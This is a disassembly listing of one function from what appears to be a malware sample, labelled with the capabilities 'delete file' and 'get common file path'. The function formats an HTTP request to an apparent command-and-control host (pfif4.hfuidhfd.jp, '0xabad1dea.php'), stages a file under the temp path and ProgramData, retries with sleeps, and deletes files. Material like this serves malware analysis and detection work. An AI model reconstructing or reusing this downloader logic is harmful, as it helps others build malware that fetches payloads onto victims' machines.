Function at 0x402050
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x9f4
push ebx
push ebp
push esi
xor ebx, ebx
push edi
xor ebp, ebp
push ebx
push 0x419de4
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov esi, edx
push 0x4199b0
shr esi, 6
mov byte [esp + 0x17], 0xec
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edx, dword [str.SOFTWAREMicrosoftDirect3D]
push 0x4162d4
push edx
push 0x80000002
call fcn.0040a730
add esp, 0xc
cmp eax, ebx
jle 0x4020c0
mov dword [0x416100], eax
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x4020e9
add eax, 0xd2f0
cmp esi, eax
jge 0x402101
push 0x4199b0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x9f4
ret
push 0x400
push str.C:ProgramData82xyOmYA.exe
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x24]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea ecx, [esp + 0x1bc]
push 1
push ecx
call fcn.00401470
add esp, 8
lea edx, [esp + 0x204]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x204]
push edx
rep stosd dword es:[edi], eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, dword [0x4160fc]
lea ecx, [esp + 0x204]
add eax, 0x201
push eax
push 0x4162d0
push ecx
call fcn.004012e0
mov eax, dword [esp + 0xa14]
xor edi, edi
add esp, 0xc
cmp eax, edi
jne 0x4021e4
lea edx, [esp + 0x14]
lea eax, [esp + 0x204]
push edx
push eax
call fcn.004048a0
mov ebx, eax
add esp, 8
cmp ebx, edi
je 0x4021e4
push 0x20
lea ecx, [esp + 0xbc]
push 0x419980
push ecx
call fcn.00402610
mov edx, dword [esp + 0x20]
lea eax, [esp + 0xc4]
push edx
push ebx
push eax
call fcn.00402670
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x2b]
push ecx
push edi
push edx
push ebx
call fcn.00401f40
add esp, 0x28
test eax, eax
je 0x4021e4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x20], 2
sub eax, 0x10
lea esi, [ebx + 0x12]
mov dword [esp + 0x14], eax
jmp 0x402412
lea eax, [esp + 0x38]
push edi
push eax
call fcn.00401470
mov eax, dword [str.pfif4.hfuidhfd.jp]
add esp, 8
cmp eax, edi
mov byte [esp + 0x6a], 0
mov dword [esp + 0x1c], edi
je 0x402362
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov esi, 0x416094
mov edx, dword [esi + 0x18]
xor ebp, ebp
xor ebx, ebx
inc edx
mov dword [esi + 0x18], edx
mov eax, dword [esi]
test eax, eax
mov dword [esp + 0x18], ebp
je 0x40223b
mov ecx, dword [esi + 0xc]
mov edx, dword [esi - 4]
push eax
push ecx
push edx
call fcn.00402e00
add esp, 0xc
jmp 0x40223e
mov eax, dword [esi - 4]
test eax, eax
je 0x402335
mov ecx, dword [esi + 4]
test ecx, ecx
jne 0x4022a2
mov ecx, dword [0x416100]
mov edx, dword [0x4160fc]
push ecx
lea ecx, [esp + 0x3c]
push edx
push ecx
push eax
lea edx, [esp + 0x614]
push str.http:___s_0xabad1dea.php_a_sb_dc_d
push edx
call edi
lea eax, [esp + 0x2c]
push 1
lea ecx, [esp + 0x620]
push eax
push ecx
call fcn.004049f0
mov ebx, eax
add esp, 0x24
test ebx, ebx
je 0x40232a
mov dl, byte [ebx]
lea eax, [ebx + 1]
mov byte [esp + 0x13], dl
mov dword [esp + 0x18], eax
mov ebp, eax
jmp 0x4022fc
cmp ecx, 1
jne 0x4022d4
cmp dword [esi], 0
jne 0x4022af
mov eax, dword [esi + 0xc]
mov edx, dword [esi + 8]
lea ecx, [esp + 0x14]
push 0x3e8
push ecx
push 0
push str.feedme
push edx
push eax
lea eax, [esp + 0x50]
push eax
call fcn.00402f00
add esp, 0x1c
jmp 0x4022fa
cmp ecx, 2
jne 0x40232a
mov eax, dword [esi + 0xc]
lea ecx, [esp + 0x13]
lea edx, [esp + 0x14]
push ecx
push edx
mov edx, dword [esi - 4]
push 0
lea ecx, [esp + 0x44]
push eax
push ecx
push edx
call fcn.00403550
add esp, 0x18
mov ebx, eax
test ebx, ebx
je 0x40232a
test ebp, ebp
je 0x40230f
mov eax, dword [esp + 0x14]
lea ecx, [eax - 1]
mov eax, ebp
jmp 0x402315
mov ecx, dword [esp + 0x14]
mov eax, ebx
lea edx, [esp + 0x13]
push edx
push 1
push ecx
push eax
call fcn.00401f40
add esp, 0x10
test eax, eax
jne 0x40234e
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 0x1c]
mov eax, dword [esi + 0x20]
add esi, 0x24
inc edx
test eax, eax
mov dword [esp + 0x1c], edx
jne 0x402213
jmp 0x40235e
mov eax, dword [esp + 0x1c]
push eax
push 0x419dd4
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebp, dword [esp + 0x18]
xor edi, edi
cmp ebx, edi
jne 0x402395
cmp dword [esp + 0x1c], 4
jne 0x402395
push edi
push 0x1ca
call fcn.00405620
add esp, 8
push 0x4199b0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x9f4
ret
mov ecx, dword [esp + 0x14]
cmp ebp, edi
je 0x4023a2
dec ecx
mov eax, ebp
jmp 0x4023a4
mov eax, ebx
lea edx, [esp + 0x13]
push edx
push 1
push ecx
push eax
call fcn.00401f40
add esp, 0x10
test eax, eax
je 0x4023c1
mov dword [esp + 0x20], 1
cmp ebp, edi
je 0x40240e
mov eax, dword [esp + 0x14]
mov esi, ebp
dec eax
mov dword [esp + 0x14], eax
cmp dword [esp + 0x20], edi
jne 0x402412
cmp dword [esp + 0xa08], edi
jne 0x402412
lea eax, [esp + 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
push 0x1cc
call fcn.00405620
add esp, 8
mov dword [0x4199a8], edi
mov dword [0x419dd8], edi
xor esi, esi
jmp 0x402562
mov esi, ebx
jmp 0x4023d0
push edi
push 0x419ddc
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
test eax, eax
je 0x402427
call fcn.00403a40
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x13]
push ecx
push edx
push esi
call fcn.00401800
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402454
push edi
push 0x1cd
call fcn.00405620
add esp, 8
xor esi, esi
jmp 0x402562
mov eax, dword [esp + 0x14]
add eax, 0x22
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
test ebp, ebp
jne 0x402493
push eax
push 0x1cb
call fcn.00405620
push 1
call fcn.00401260
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x9f4
ret
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov eax, dword [esp + 0x28]
mov edx, ebp
mov dword [edx], eax
mov ecx, dword [esp + 0x2c]
mov dword [edx + 4], ecx
mov eax, dword [esp + 0x30]
mov dword [edx + 8], eax
mov ecx, dword [esp + 0x34]
mov dword [edx + 0xc], ecx
mov eax, dword [0x419dd0]
test eax, eax
je 0x4024c8
mov byte [ebp + 0x10], 1
mov esi, dword [esp + 0x18]
mov dl, byte [esp + 0x13]
test esi, esi
mov byte [ebp + 0x11], dl
jne 0x4024d9
mov esi, ebx
mov ecx, dword [esp + 0x14]
lea edi, [ebp + 0x12]
mov eax, ecx
push 0x20
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x419980
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc0]
push ecx
call fcn.00402610
mov edx, dword [esp + 0x20]
lea eax, [esp + 0xc4]
add edx, 0x12
push edx
push ebp
push eax
call fcn.00402670
mov eax, dword [esp + 0x38]
add esp, 0x18
cmp eax, 2
je 0x40254d
lea ecx, [esp + 0x204]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [esp + 0x14]
push 0
add edx, 0x12
lea eax, [esp + 0x208]
push edx
push ebp
push eax
call fcn.00404950
add esp, 0x10
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, 1
test ebx, ebx
je 0x402576
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x4199b0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x9f4
ret